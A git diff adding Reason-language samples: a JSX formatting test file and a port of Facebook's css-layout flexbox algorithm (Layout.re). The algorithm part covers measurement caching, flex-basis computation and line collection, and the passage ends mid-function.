+let listOfItems1 = <List1> 1 2 3 4 5 </List1>;
+
+let listOfItems2 =
+  <List2> 1.0 2.8 3.8 4.0 5.1 </List2>;
+
+let listOfItems3 =
+  <List3> fragment11 fragment11 </List3>;
+
+/*
+ * Several sequential simple jsx expressions must be separated with a space.
+ */
+let thisIsRight a b => ();
+
+let tagOne children => ();
+
+let tagTwo children => ();
+
+/* thisIsWrong <tagOne /><tagTwo />; */
+thisIsRight <tagOne /> <tagTwo />;
+
+/* thisIsWrong <tagOne> </tagOne><tagTwo> </tagTwo>; */
+thisIsRight <tagOne /> <tagTwo />;
+
+let a children => ();
+
+let b children => ();
+
+let thisIsOkay =
+  <List1> <a /> <b /> <a /> <b /> </List1>;
+
+let thisIsAlsoOkay =
+  <List1> <a /> <b /> </List1>;
+
+/* Doesn't make any sense, but suppose you defined an
+   infix operator to compare jsx */
+<a /> < <b />;
+
+<a /> > <b />;
+
+<a /> < <b />;
+
+<a /> > <b />;
+
+let listOfListOfJsx = [<> </>];
+
+let listOfListOfJsx = [<> <Foo /> </>];
+
+let listOfListOfJsx = [
+  <> <Foo /> </>,
+  <> <Bar /> </>
+];
+
+let listOfListOfJsx = [
+  <> <Foo /> </>,
+  <> <Bar /> </>,
+  ...listOfListOfJsx
+];
+
+let sameButWithSpaces = [<> </>];
+
+let sameButWithSpaces = [<> <Foo /> </>];
+
+let sameButWithSpaces = [
+  <> <Foo /> </>,
+  <> <Bar /> </>
+];
+
+let sameButWithSpaces = [
+  <> <Foo /> </>,
+  <> <Bar /> </>,
+  ...sameButWithSpaces
+];
+
+/*
+ * Test named tag right next to an open bracket.
+ */
+let listOfJsx = [];
+
+let listOfJsx = [<Foo />];
+
+let listOfJsx = [<Foo />, <Bar />];
+
+let listOfJsx = [<Foo />, <Bar />, ...listOfJsx];
+
+let sameButWithSpaces = [];
+
+let sameButWithSpaces = [<Foo />];
+
+let sameButWithSpaces = [<Foo />, <Bar />];
+
+let sameButWithSpaces = [
+  <Foo />,
+  <Bar />,
+  ...sameButWithSpaces
+];
+
+
+/**
+ * Test no conflict with polymorphic variant types.
+ */
+type thisType = [ | `Foo | `Bar];
+
+type t 'a = [< thisType] as 'a;
+
+let asd =
+  <One test=true foo=2> "a" "b" </One> [@foo];
+
+let asd2 =
+  One.createElementobvioustypo
+  test::false
+  ["a", "b"]
+  [@JSX]
+  [@foo];
+
+let span
+    test::(test: bool)
+    foo::(foo: int)
+    children => 1;
+
+let asd =
+  <span test=true foo=2> "a" "b" </span> [@foo];
+
+/* "video" call doesn't end with a list, so the expression isn't converted to JSX */
+let video test::(test: bool) children => children;
+
+let asd2 = video test::false 10 [@JSX] [@foo];
+
+let div children => 1;
+
+((fun () => div) ()) [] [@JSX];
+
+let myFun () =>
+  <>
+    <Namespace.Foo
+      intended=true
+      anotherOptional=200
+    />
+    <Namespace.Foo
+      intended=true
+      anotherOptional=200
+    />
+    <Namespace.Foo
+      intended=true anotherOptional=200>
+      <Foo />
+      <Foo />
+      <Foo />
+      <Foo />
+      <Foo />
+      <Foo />
+      <Foo />
+    </Namespace.Foo>
+  </>;
+
+let myFun () => <> </>;
+
+let myFun () =>
+  <>
+    <Namespace.Foo
+      intended=true
+      anotherOptional=200
+    />
+    <Namespace.Foo
+      intended=true
+      anotherOptional=200
+    />
+    <Namespace.Foo
+      intended=true anotherOptional=200>
+      <Foo />
+      <Foo />
+      <Foo />
+      <Foo />
+      <Foo />
+      <Foo />
+      <Foo />
+    </Namespace.Foo>
+  </>;
+
+
+/**
+ * Children should wrap without forcing attributes to.
+ */
+<Foo a=10 b=0>
+  <Bar />
+  <Bar />
+  <Bar />
+  <Bar />
+</Foo>;
+/**
+ * Failing test cases:
+ */
+/* let res = <Foo a=10 b=(<Foo a=200 />) > */
+/*   <Bar /> */
+/* </Foo>; */
+/* let res = <Foo a=10 b=(<Foo a=200 />) />; */
diff --git a/samples/Reason/Layout.re b/samples/Reason/Layout.re
new file mode 100644
index 0000000000..f9d813881d
--- /dev/null
+++ b/samples/Reason/Layout.re
@@ -0,0 +1,1326 @@
+/**
+ * Copyright (c) 2014, Facebook, Inc.
+ * All rights reserved.
+ *
+ * This source code is licensed under the BSD-style license found in the
+ * LICENSE file in the root directory of this source tree. An additional grant
+ * of patent rights can be found in the PATENTS file in the same directory.
+ */
+/*
+ * From css-layout comments:
+ * The spec describes four different layout modes: "fill available", "max
+ * content", "min content", and "fit content". Of these, we don't use
+ * "min content" because we don't support default minimum main sizes (see
+ * above for details). Each of our measure modes maps to a layout mode
+ * from the spec (https://www.w3.org/TR/css3-sizing/#terms):
+ *
+ *   -.CssMeasureModeUndefined: `max-content`
+ *   -.CssMeasureModeExactly: `fill-available`
+ *   -.CssMeasureModeAtMost: `fit-content`
+ *      If infinite space available in that axis, then `max-content.`
+ *      Else, `min(max-content size, max(min-content size, fill-available size))`
+ *      (Although, we don't support min-content)
+ */
+open LayoutTypes;
+
+open LayoutValue;
+
+open LayoutSupport;
+
+let gCurrentGenerationCount = ref 0;
+
+let gDepth = ref 0;
+
+let gPrintTree = {contents: false};
+
+let gPrintChanges = {contents: false};
+
+let gPrintSkips = {contents: false};
+
+let measureString = "measure";
+
+let stretchString = "stretch";
+
+let absMeasureString = "abs-measure";
+
+let absLayoutString = "abs-layout";
+
+let initialString = "initial";
+
+let flexString = "flex";
+
+let spacer = "                                                            ";
+
+let getSpacer level => {
+  let spacerLen = String.length spacer;
+  let lvl = level > spacerLen ? level : spacerLen;
+  String.sub spacer lvl (String.length spacer)
+};
+
+let getModeName (mode, isLayoutInsteadOfMeasure) =>
+  switch mode {
+  | CSS_MEASURE_MODE_NEGATIVE_ONE_WHATEVER_THAT_MEANS =>
+    isLayoutInsteadOfMeasure ?
+      "CSS_MEASURE_MODE_NEGATIVE_ONE_WHATEVER_THAT_MEANS" :
+      "CSS_MEASURE_MODE_NEGATIVE_ONE_WHATEVER_THAT_MEANS"
+  | CssMeasureModeUndefined => isLayoutInsteadOfMeasure ? "LAY_UNDEFINED" : "UNDEFINED"
+  | CssMeasureModeExactly => isLayoutInsteadOfMeasure ? "LAY_EXACTLY" : "EXACTLY"
+  | CssMeasureModeAtMost => isLayoutInsteadOfMeasure ? "LAY_AT_MOST" : "AT_MOST"
+  };
+
+let canUseCachedMeasurement
+    (
+      availableWidth,
+      availableHeight,
+      marginRow,
+      marginColumn,
+      widthMeasureMode,
+      heightMeasureMode,
+      cachedLayout
+    ) =>
+  if (
+    cachedLayout.availableWidth == availableWidth &&
+    cachedLayout.availableHeight == availableHeight &&
+    cachedLayout.widthMeasureMode == widthMeasureMode && cachedLayout.heightMeasureMode == heightMeasureMode
+  ) {
+    true
+  } else if
+    /* Is it an exact match?*/
+    /* If the width is an exact match, try a fuzzy match on the height.*/
+    (
+      cachedLayout.widthMeasureMode == widthMeasureMode &&
+      cachedLayout.availableWidth == availableWidth &&
+      heightMeasureMode === CssMeasureModeExactly &&
+      availableHeight -. marginColumn == cachedLayout.computedHeight
+    ) {
+    true
+  } else if
+    /* If the height is an exact match, try a fuzzy match on the width.*/
+    (
+      cachedLayout.heightMeasureMode == heightMeasureMode &&
+      cachedLayout.availableHeight == availableHeight &&
+      widthMeasureMode === CssMeasureModeExactly && availableWidth -. marginRow == cachedLayout.computedWidth
+    ) {
+    true
+  } else {
+    false
+  };
+
+let cachedMeasurementAt layout i =>
+  switch i {
+  | 0 => layout.cachedMeasurement1
+  | 1 => layout.cachedMeasurement2
+  | 2 => layout.cachedMeasurement3
+  | 3 => layout.cachedMeasurement4
+  | 4 => layout.cachedMeasurement5
+  | 5 => layout.cachedMeasurement6
+  | _ => raise (Invalid_argument ("No cached measurement at " ^ string_of_int i))
+  };
+
+
+/**
+ * This is a wrapper around the layoutNodeImpl function. It determines
+ * whether the layout request is redundant and can be skipped.
+ *
+ * Parameters:
+ *  Input parameters are the same as layoutNodeImpl (see above)
+ *  Return parameter is true if layout was performed, false if skipped
+ */
+let rec layoutNodeInternal
+        node
+        availableWidth
+        availableHeight
+        parentDirection
+        widthMeasureMode
+        heightMeasureMode
+        performLayout
+        reason => {
+  let layout = node.layout;
+  gDepth.contents = gDepth.contents + 1;
+  let needToVisitNode =
+    node.isDirty node.context && layout.generationCount != gCurrentGenerationCount.contents ||
+    layout.lastParentDirection != parentDirection;
+  if needToVisitNode {
+    /* Invalidate the cached results.*/
+    layout.nextCachedMeasurementsIndex = 0;
+    layout.cachedLayout.widthMeasureMode = CSS_MEASURE_MODE_NEGATIVE_ONE_WHATEVER_THAT_MEANS;
+    layout.cachedLayout.heightMeasureMode = CSS_MEASURE_MODE_NEGATIVE_ONE_WHATEVER_THAT_MEANS
+  };
+  let cachedResults = ref None;
+  /* Determine whether the results are already cached. We maintain a separate*/
+  /* cache for layouts and measurements. A layout operation modifies the positions*/
+  /* and dimensions for nodes in the subtree. The algorithm assumes that each node*/
+  /* gets layed out a maximum of one time per tree layout, but multiple measurements*/
+  /* may be required to resolve all of the flex dimensions.*/
+  /* We handle nodes with measure functions specially here because they are the most
+   * expensive to measure, so it's worth avoiding redundant measurements if at all possible.*/
+  if (node.measure !== dummyMeasure && node.childrenCount === 0) {
+    let marginAxisRow = getMarginAxis node CssFlexDirectionRow;
+    let marginAxisColumn = getMarginAxis node CssFlexDirectionColumn;
+    /* First, try to use the layout cache.*/
+    if (
+      canUseCachedMeasurement (
+        availableWidth,
+        availableHeight,
+        marginAxisRow,
+        marginAxisColumn,
+        widthMeasureMode,
+        heightMeasureMode,
+        layout.cachedLayout
+      )
+    ) {
+      cachedResults.contents = Some layout.cachedLayout
+    } else {
+      /* Try to use the measurement cache.*/
+      let foundCached = {contents: false};
+      for i in 0 to (layout.nextCachedMeasurementsIndex - 1) {
+        /* This is basically the "break" */
+        if (not foundCached.contents) {
+          let cachedMeasurementAtIndex = cachedMeasurementAt layout i;
+          if (
+            canUseCachedMeasurement (
+              availableWidth,
+              availableHeight,
+              marginAxisRow,
+              marginAxisColumn,
+              widthMeasureMode,
+              heightMeasureMode,
+              cachedMeasurementAtIndex
+            )
+          ) {
+            cachedResults.contents = Some cachedMeasurementAtIndex;
+            foundCached.contents = true
+          }
+        }
+      }
+    }
+  } else if performLayout {
+    if (
+      layout.cachedLayout.availableWidth == availableWidth &&
+      layout.cachedLayout.availableHeight == availableHeight &&
+      layout.cachedLayout.widthMeasureMode == widthMeasureMode &&
+      layout.cachedLayout.heightMeasureMode == heightMeasureMode
+    ) {
+      cachedResults.contents = Some layout.cachedLayout
+    }
+  } else {
+    let foundCached = {contents: false};
+    for i in 0 to (layout.nextCachedMeasurementsIndex - 1) {
+      /* This is basically the "break" */
+      if (not foundCached.contents) {
+        let cachedMeasurementAtIndex = cachedMeasurementAt layout i;
+        if (
+          cachedMeasurementAtIndex.availableWidth == availableWidth &&
+          cachedMeasurementAtIndex.availableHeight == availableHeight &&
+          cachedMeasurementAtIndex.widthMeasureMode == widthMeasureMode &&
+          cachedMeasurementAtIndex.heightMeasureMode == heightMeasureMode
+        ) {
+          cachedResults.contents = Some cachedMeasurementAtIndex;
+          foundCached.contents = true
+        }
+      }
+    }
+  };
+  if (not needToVisitNode && cachedResults.contents != None) {
+    let cachedResults_ =
+      switch cachedResults.contents {
+      | None => raise (Invalid_argument "Not possible")
+      | Some cr => cr
+      };
+    layout.measuredWidth = cachedResults_.computedWidth;
+    layout.measuredHeight = cachedResults_.computedHeight;
+    if (gPrintChanges.contents && gPrintSkips.contents) {
+      Printf.printf "%s%d.{[skipped] " (getSpacer gDepth.contents) gDepth.contents;
+      switch node.print {
+      | None => ()
+      | Some printer => printer node.context
+      };
+      Printf.printf
+        "wm: %s, hm: %s, aw: %s ah: %s => d: (%s, %s) %s\n"
+        (getModeName (widthMeasureMode, performLayout))
+        (getModeName (heightMeasureMode, performLayout))
+        (scalarToString availableWidth)
+        (scalarToString availableHeight)
+        (scalarToString cachedResults_.computedWidth)
+        (scalarToString cachedResults_.computedHeight)
+        reason
+    }
+  } else {
+    if gPrintChanges.contents {
+      Printf.printf "%s%d.{%s" (getSpacer gDepth.contents) gDepth.contents (needToVisitNode ? "*" : "");
+      switch node.print {
+      | None => ()
+      | Some printer => printer node.context
+      };
+      Printf.printf
+        "wm: %s, hm: %s, aw: %s ah: %s %s\n"
+        (getModeName (widthMeasureMode, performLayout))
+        (getModeName (heightMeasureMode, performLayout))
+        (scalarToString availableWidth)
+        (scalarToString availableHeight)
+        reason
+    };
+    layoutNodeImpl (
+      node,
+      availableWidth,
+      availableHeight,
+      parentDirection,
+      widthMeasureMode,
+      heightMeasureMode,
+      performLayout
+    );
+    if gPrintChanges.contents {
+      Printf.printf "%s%d.}%s" (getSpacer gDepth.contents) gDepth.contents (needToVisitNode ? "*" : "");
+      switch node.print {
+      | None => ()
+      | Some printer => printer node.context
+      };
+      Printf.printf
+        "wm: %s, hm: %s, d: (%s, %s) %s\n"
+        (getModeName (widthMeasureMode, performLayout))
+        (getModeName (heightMeasureMode, performLayout))
+        (scalarToString layout.measuredWidth)
+        (scalarToString layout.measuredHeight)
+        reason
+    };
+    layout.lastParentDirection = parentDirection;
+    if (cachedResults.contents === None) {
+      if (layout.nextCachedMeasurementsIndex == css_max_cached_result_count) {
+        if gPrintChanges.contents {
+          Printf.printf "Out of cache entries!\n"
+        };
+        layout.nextCachedMeasurementsIndex = 0
+      };
+      let newCacheEntry =
+        performLayout ?
+          /* Use the single layout cache entry.*/
+          layout.cachedLayout :
+          {
+            /* Allocate a new measurement cache entry.*/
+            let newCacheEntry_ = cachedMeasurementAt layout layout.nextCachedMeasurementsIndex;
+            layout.nextCachedMeasurementsIndex = layout.nextCachedMeasurementsIndex + 1;
+            newCacheEntry_
+          };
+      newCacheEntry.availableWidth = availableWidth;
+      newCacheEntry.availableHeight = availableHeight;
+      newCacheEntry.widthMeasureMode = widthMeasureMode;
+      newCacheEntry.heightMeasureMode = heightMeasureMode;
+      newCacheEntry.computedWidth = layout.measuredWidth;
+      newCacheEntry.computedHeight = layout.measuredHeight
+    }
+  };
+  if performLayout {
+    node.layout.width = node.layout.measuredWidth;
+    node.layout.height = node.layout.measuredHeight;
+    layout.hasNewLayout = true
+  };
+  gDepth.contents = gDepth.contents - 1;
+  layout.generationCount = gCurrentGenerationCount.contents;
+  needToVisitNode || cachedResults.contents === None
+}
+and computeChildFlexBasis node child width widthMode height heightMode direction => {
+  let mainAxis = resolveAxis node.style.flexDirection direction;
+  let isMainAxisRow = isRowDirection mainAxis;
+  let childWidth = {contents: zero};
+  let childHeight = {contents: zero};
+  let childWidthMeasureMode = {contents: CssMeasureModeUndefined};
+  let childHeightMeasureMode = {contents: CssMeasureModeUndefined};
+  if (isMainAxisRow && isStyleDimDefined child.contents CssFlexDirectionRow) {
+    child.contents.layout.computedFlexBasis =
+      fmaxf child.contents.style.width (getPaddingAndBorderAxis child.contents CssFlexDirectionRow)
+  } else if (
+    not isMainAxisRow && isStyleDimDefined child.contents CssFlexDirectionColumn
+  ) {
+    child.contents.layout.computedFlexBasis =
+      fmaxf child.contents.style.height (getPaddingAndBorderAxis child.contents CssFlexDirectionColumn)
+  } else if (
+    not (isUndefined child.contents.style.flexBasis)
+  ) {
+    if (isUndefined child.contents.layout.computedFlexBasis) {
+      child.contents.layout.computedFlexBasis =
+        fmaxf child.contents.style.flexBasis (getPaddingAndBorderAxis child.contents mainAxis)
+    }
+  } else {
+    childWidth.contents = cssUndefined;
+    childHeight.contents = cssUndefined;
+    childWidthMeasureMode.contents = CssMeasureModeUndefined;
+    childHeightMeasureMode.contents = CssMeasureModeUndefined;
+    if (isStyleDimDefined child.contents CssFlexDirectionRow) {
+      childWidth.contents = child.contents.style.width +. getMarginAxis child.contents CssFlexDirectionRow;
+      childWidthMeasureMode.contents = CssMeasureModeExactly
+    };
+
+    /**
+     * Why can't this just be inlined to .height !== cssUndefined.
+     */
+    if (isStyleDimDefined child.contents CssFlexDirectionColumn) {
+      childHeight.contents =
+        child.contents.style.height +. getMarginAxis child.contents CssFlexDirectionColumn;
+      childHeightMeasureMode.contents = CssMeasureModeExactly
+    };
+    if (not isMainAxisRow && node.style.overflow === Scroll || node.style.overflow !== Scroll) {
+      if (isUndefined childWidth.contents && not (isUndefined width)) {
+        childWidth.contents = width;
+        childWidthMeasureMode.contents = CssMeasureModeAtMost
+      }
+    };
+    if (isMainAxisRow && node.style.overflow === Scroll || node.style.overflow !== Scroll) {
+      if (isUndefined childHeight.contents && not (isUndefined height)) {
+        childHeight.contents = height;
+        childHeightMeasureMode.contents = CssMeasureModeAtMost
+      }
+    };
+    /*
+     * If child has no defined size in the cross axis and is set to
+     * stretch, set the cross axis to be measured exactly with the
+     * available inner width.
+     */
+    if (
+      not isMainAxisRow &&
+      not (isUndefined width) &&
+      not (isStyleDimDefined child.contents CssFlexDirectionRow) &&
+      widthMode === CssMeasureModeExactly && getAlignItem node child.contents === CssAlignStretch
+    ) {
+      childWidth.contents = width;
+      childWidthMeasureMode.contents = CssMeasureModeExactly
+    };
+    if (
+      isMainAxisRow &&
+      not (isUndefined height) &&
+      not (isStyleDimDefined child.contents CssFlexDirectionColumn) &&
+      heightMode === CssMeasureModeExactly && getAlignItem node child.contents === CssAlignStretch
+    ) {
+      childHeight.contents = height;
+      childHeightMeasureMode.contents = CssMeasureModeExactly
+    };
+    let _ =
+      layoutNodeInternal
+        child.contents
+        childWidth.contents
+        childHeight.contents
+        direction
+        childWidthMeasureMode.contents
+        childHeightMeasureMode.contents
+        false
+        measureString;
+    child.contents.layout.computedFlexBasis =
+      fmaxf
+        (isMainAxisRow ? child.contents.layout.measuredWidth : child.contents.layout.measuredHeight)
+        (getPaddingAndBorderAxis child.contents mainAxis)
+  }
+}
+/**
+ * By default, mathematical operations are floating point.
+ */
+and layoutNodeImpl
+    (
+      node,
+      availableWidth,
+      availableHeight,
+      parentDirection,
+      widthMeasureMode,
+      heightMeasureMode,
+      performLayout
+    ) => {
+
+  /** START_GENERATED **/
+  /* re_assert */
+  /*   (isUndefined availableWidth ? widthMeasureMode === CssMeasureModeUndefined : true) */
+  /*   "availableWidth is indefinite so widthMeasureMode must be CssMeasureModeUndefined"; */
+  /* re_assert */
+  /*   (isUndefined availableHeight ? heightMeasureMode === CssMeasureModeUndefined : true) */
+  /*   "availableHeight is indefinite so heightMeasureMode must be CssMeasureModeUndefined"; */
+  let paddingAndBorderAxisRow = getPaddingAndBorderAxis node CssFlexDirectionRow;
+  let paddingAndBorderAxisColumn = getPaddingAndBorderAxis node CssFlexDirectionColumn;
+  let marginAxisRow = getMarginAxis node CssFlexDirectionRow;
+  let marginAxisColumn = getMarginAxis node CssFlexDirectionColumn;
+  let direction = resolveDirection node parentDirection;
+  node.layout.direction = direction;
+  /* For content (text) nodes, determine the dimensions based on the text
+     contents. */
+  if (node.measure !== dummyMeasure && node.childrenCount === 0) {
+    let innerWidth = availableWidth -. marginAxisRow -. paddingAndBorderAxisRow;
+    let innerHeight = availableHeight -. marginAxisColumn -. paddingAndBorderAxisColumn;
+    if (widthMeasureMode === CssMeasureModeExactly && heightMeasureMode === CssMeasureModeExactly) {
+      node.layout.measuredWidth = boundAxis node CssFlexDirectionRow (availableWidth -. marginAxisRow);
+      node.layout.measuredHeight =
+        boundAxis node CssFlexDirectionColumn (availableHeight -. marginAxisColumn)
+    } else if (
+      not (isUndefined innerWidth) && innerWidth <= zero ||
+      not (isUndefined innerHeight) && innerHeight <= zero
+    ) {
+      node.layout.measuredWidth = boundAxis node CssFlexDirectionRow zero;
+      node.layout.measuredHeight = boundAxis node CssFlexDirectionColumn zero
+    } else {
+      let measureDim = node.measure node innerWidth widthMeasureMode innerHeight heightMeasureMode;
+      node.layout.measuredWidth =
+        boundAxis
+          node
+          CssFlexDirectionRow
+          (
+            widthMeasureMode === CssMeasureModeUndefined || widthMeasureMode === CssMeasureModeAtMost ?
+              measureDim.width +. paddingAndBorderAxisRow : availableWidth -. marginAxisRow
+          );
+      node.layout.measuredHeight =
+        boundAxis
+          node
+          CssFlexDirectionColumn
+          (
+            heightMeasureMode === CssMeasureModeUndefined || heightMeasureMode === CssMeasureModeAtMost ?
+              measureDim.height +. paddingAndBorderAxisColumn : availableHeight -. marginAxisColumn
+          )
+    }
+  } else {
+    let childCount = Array.length node.children;
+    if (childCount === 0) {
+      node.layout.measuredWidth =
+        boundAxis
+          node
+          CssFlexDirectionRow
+          (
+            widthMeasureMode === CssMeasureModeUndefined || widthMeasureMode === CssMeasureModeAtMost ?
+              paddingAndBorderAxisRow : availableWidth -. marginAxisRow
+          );
+      node.layout.measuredHeight =
+        boundAxis
+          node
+          CssFlexDirectionColumn
+          (
+            heightMeasureMode === CssMeasureModeUndefined || heightMeasureMode === CssMeasureModeAtMost ?
+              paddingAndBorderAxisColumn : availableHeight -. marginAxisColumn
+          )
+    } else {
+      let shouldContinue = {contents: true};
+      if (not performLayout) {
+        if (
+          (
+            (
+              widthMeasureMode === CssMeasureModeAtMost &&
+              not (isUndefined availableWidth) && availableWidth <= zero
+            ) &&
+            heightMeasureMode === CssMeasureModeAtMost
+          ) &&
+          not (isUndefined availableHeight) && availableHeight <= zero
+        ) {
+          node.layout.measuredWidth = boundAxis node CssFlexDirectionRow zero;
+          node.layout.measuredHeight = boundAxis node CssFlexDirectionColumn zero;
+          shouldContinue.contents = false
+        } else if (
+          widthMeasureMode === CssMeasureModeAtMost &&
+          not (isUndefined availableWidth) && availableWidth <= zero
+        ) {
+          node.layout.measuredWidth = boundAxis node CssFlexDirectionRow zero;
+          node.layout.measuredHeight =
+            boundAxis
+              node
+              CssFlexDirectionColumn
+              (isUndefined availableHeight ? zero : availableHeight -. marginAxisColumn);
+          shouldContinue.contents = false
+        } else if (
+          heightMeasureMode === CssMeasureModeAtMost &&
+          not (isUndefined availableHeight) && availableHeight <= zero
+        ) {
+          node.layout.measuredWidth =
+            boundAxis
+              node CssFlexDirectionRow (isUndefined availableWidth ? zero : availableWidth -. marginAxisRow);
+          node.layout.measuredHeight = boundAxis node CssFlexDirectionColumn zero;
+          shouldContinue.contents = false
+        } else if (
+          widthMeasureMode === CssMeasureModeExactly && heightMeasureMode === CssMeasureModeExactly
+        ) {
+          node.layout.measuredWidth = boundAxis node CssFlexDirectionRow (availableWidth -. marginAxisRow);
+          node.layout.measuredHeight =
+            boundAxis node CssFlexDirectionColumn (availableHeight -. marginAxisColumn);
+          shouldContinue.contents = false
+        }
+      };
+      if shouldContinue.contents {
+        let mainAxis = resolveAxis node.style.flexDirection direction;
+        let crossAxis = getCrossFlexDirection mainAxis direction;
+        let isMainAxisRow = isRowDirection mainAxis;
+        let justifyContent = node.style.justifyContent;
+        let isNodeFlexWrap = node.style.flexWrap === CssWrap;
+        let firstAbsoluteChild = {contents: theNullNode};
+        let currentAbsoluteChild = {contents: theNullNode};
+        let leadingPaddingAndBorderMain = getLeadingPaddingAndBorder node mainAxis;
+        let trailingPaddingAndBorderMain = getTrailingPaddingAndBorder node mainAxis;
+        let leadingPaddingAndBorderCross = getLeadingPaddingAndBorder node crossAxis;
+        let paddingAndBorderAxisMain = getPaddingAndBorderAxis node mainAxis;
+        let paddingAndBorderAxisCross = getPaddingAndBorderAxis node crossAxis;
+        let measureModeMainDim = isMainAxisRow ? widthMeasureMode : heightMeasureMode;
+        let measureModeCrossDim = isMainAxisRow ? heightMeasureMode : widthMeasureMode;
+        let availableInnerWidth = availableWidth -. marginAxisRow -. paddingAndBorderAxisRow;
+        let availableInnerHeight = availableHeight -. marginAxisColumn -. paddingAndBorderAxisColumn;
+        let availableInnerMainDim = isMainAxisRow ? availableInnerWidth : availableInnerHeight;
+        let availableInnerCrossDim = isMainAxisRow ? availableInnerHeight : availableInnerWidth;
+        let child = {contents: theNullNode};
+        /* let i = 0; */
+        /* STEP 3: DETERMINE FLEX BASIS FOR EACH ITEM */
+        for i in 0 to (childCount - 1) {
+          child.contents = node.children.(i);
+          if performLayout {
+            let childDirection = resolveDirection child.contents direction;
+            setPosition child.contents childDirection
+          };
+          if (child.contents.style.positionType === CssPositionAbsolute) {
+            if (firstAbsoluteChild.contents === theNullNode) {
+              firstAbsoluteChild.contents = child.contents
+            };
+            if (currentAbsoluteChild.contents !== theNullNode) {
+              currentAbsoluteChild.contents.nextChild = child.contents
+            };
+            currentAbsoluteChild.contents = child.contents;
+            child.contents.nextChild = theNullNode
+          } else {
+            computeChildFlexBasis
+              node
+              child
+              availableInnerWidth
+              widthMeasureMode
+              availableInnerHeight
+              heightMeasureMode
+              direction
+          }
+        };
+        /* STEP 4: COLLECT FLEX ITEMS INTO FLEX LINES */
+        let startOfLineIndex = {contents: 0};
+        let endOfLineIndex = {contents: 0};
+        let lineCount = {contents: 0};
+        let totalLineCrossDim = {contents: zero};
+        let maxLineMainDim = {contents: zero};
+        while (endOfLineIndex.contents < childCount) {
+          let itemsOnLine = {contents: 0};
+          let sizeConsumedOnCurrentLine = {contents: zero};
+          let totalFlexGrowFactors = {contents: zero};
+          let totalFlexShrinkScaledFactors = {contents: zero};
+          let curIndex = {contents: startOfLineIndex.contents};
+          let firstRelativeChild = {contents: theNullNode};
+          let currentRelativeChild = {contents: theNullNode};
+          let shouldContinue = {contents: true};
+          while (curIndex.contents < childCount && shouldContinue.contents) {
+            child.contents = node.children.(curIndex.contents);
+            child.contents.lineIndex = lineCount.contents;
+            if (child.contents.style.positionType !== CssPositionAbsolute) {
+              let outerFlexBasis =
+                child.contents.layout.computedFlexBasis +. getMarginAxis child.contents mainAxis;
+              if (
+                (
+                  sizeConsumedOnCurrentLine.contents +. outerFlexBasis > availableInnerMainDim && isNodeFlexWrap
+                ) &&
+                itemsOnLine.contents > 0
+              ) {
+                shouldContinue.contents = false
+              } else {
+                sizeConsumedOnCurrentLine.contents = sizeConsumedOnCurrentLine.contents +. outerFlexBasis;
+                itemsOnLine.contents = itemsOnLine.contents + 1;
+                if (isFlex child.contents) {
+                  totalFlexGrowFactors.contents =
+                    totalFlexGrowFactors.contents +. child.contents.style.flexGrow;
+                  totalFlexShrinkScaledFactors.contents =
+                    totalFlexShrinkScaledFactors.contents +.
+                    -. child.contents.style.flexShrink *. child.contents.layout.computedFlexBasis
+                };
+                if (firstRelativeChild.contents === theNullNode) {
+                  firstRelativeChild.contents = child.contents
+                };
+                if (currentRelativeChild.contents !== theNullNode) {
+                  currentRelativeChild.contents.nextChild = child.contents
+                };
+                currentRelativeChild.contents = child.contents;
+                child.contents.nextChild = theNullNode;
+                curIndex.contents = curIndex.contents + 1;
+                endOfLineIndex.contents = endOfLineIndex.contents + 1
+              }
+            } else {
+              curIndex.contents = curIndex.contents + 1;
+              endOfLineIndex.contents = endOfLineIndex.contents + 1
+            }
+          };
+          let canSkipFlex = not performLayout && measureModeCrossDim === CssMeasureModeExactly;
+          let leadingMainDim = {contents: zero};
+          let betweenMainDim = {contents: zero};
+          let remainingFreeSpace = {contents: zero};
+          if (not (isUndefined availableInnerMainDim)) {
+            remainingFreeSpace.contents = availableInnerMainDim -. sizeConsumedOnCurrentLine.contents
+          } else if (
+            sizeConsumedOnCurrentLine.contents < zero
+          ) {
+            remainingFreeSpace.contents = -. sizeConsumedOnCurrentLine.contents
+          };
+          let originalRemainingFreeSpace = remainingFreeSpace.contents;
+          let deltaFreeSpace = {contents: zero};
+          if (not canSkipFlex) {
+            let childFlexBasis = {contents: zero};
+            let flexShrinkScaledFactor = {contents: zero};
+            let flexGrowFactor = {contents: zero};
+            let baseMainSize = {contents: zero};
+            let boundMainSize = {contents: zero};
+            let deltaFlexShrinkScaledFactors = {contents: zero};
+            let deltaFlexGrowFactors = {contents: zero};
+            currentRelativeChild.contents = firstRelativeChild.contents;
+            while (currentRelativeChild.contents !== theNullNode) {
+              childFlexBasis.contents = currentRelativeChild.contents.layout.computedFlexBasis;
+              if (remainingFreeSpace.contents < zero) {
+                flexShrinkScaledFactor.contents =
+                  -. currentRelativeChild.contents.style.flexShrink *. childFlexBasis.contents;
+                if (flexShrinkScaledFactor.contents != zero) {
+                  baseMainSize.contents =
+                    childFlexBasis.contents +.
+                    /*
+                     * Important to first scale, then divide - to support fixed
+                     * point encoding.
+                     */
+                    flexShrinkScaledFactor.contents *. remainingFreeSpace.contents /.
+                    totalFlexShrinkScaledFactors.contents;
+                  boundMainSize.contents =
+                    boundAxis currentRelativeChild.contents mainAxis baseMainSize.contents;
+                  if (baseMainSize.contents != boundMainSize.contents) {
+                    deltaFreeSpace.contents =
+                      deltaFreeSpace.contents -. (boundMainSize.contents -. childFlexBasis.contents);
+                    deltaFlexShrinkScaledFactors.contents =
+                      deltaFlexShrinkScaledFactors.contents -. flexShrinkScaledFactor.contents
+                  }
+                }
+              } else if (
+                remainingFreeSpace.contents > zero
+              ) {
+                flexGrowFactor.contents = currentRelativeChild.contents.style.flexGrow;
+                if (flexGrowFactor.contents != zero) {
+                  baseMainSize.contents =
+                    childFlexBasis.contents +.
+                    /*
+                     * Important to first scale, then divide - to support fixed
+                     * point encoding.
+                     */
+                    flexGrowFactor.contents *. remainingFreeSpace.contents /. totalFlexGrowFactors.contents;
+                  boundMainSize.contents =
+                    boundAxis currentRelativeChild.contents mainAxis baseMainSize.contents;
+                  if (baseMainSize.contents != boundMainSize.contents) {
+                    deltaFreeSpace.contents =
+                      deltaFreeSpace.contents -. (boundMainSize.contents -. childFlexBasis.contents);
+                    deltaFlexGrowFactors.contents = deltaFlexGrowFactors.contents -. flexGrowFactor.contents
+                  }
+                }
+              };
+              currentRelativeChild.contents = currentRelativeChild.contents.nextChild
+            };
+            totalFlexShrinkScaledFactors.contents =
+              totalFlexShrinkScaledFactors.contents +. deltaFlexShrinkScaledFactors.contents;
+            totalFlexGrowFactors.contents = totalFlexGrowFactors.contents +. deltaFlexGrowFactors.contents;
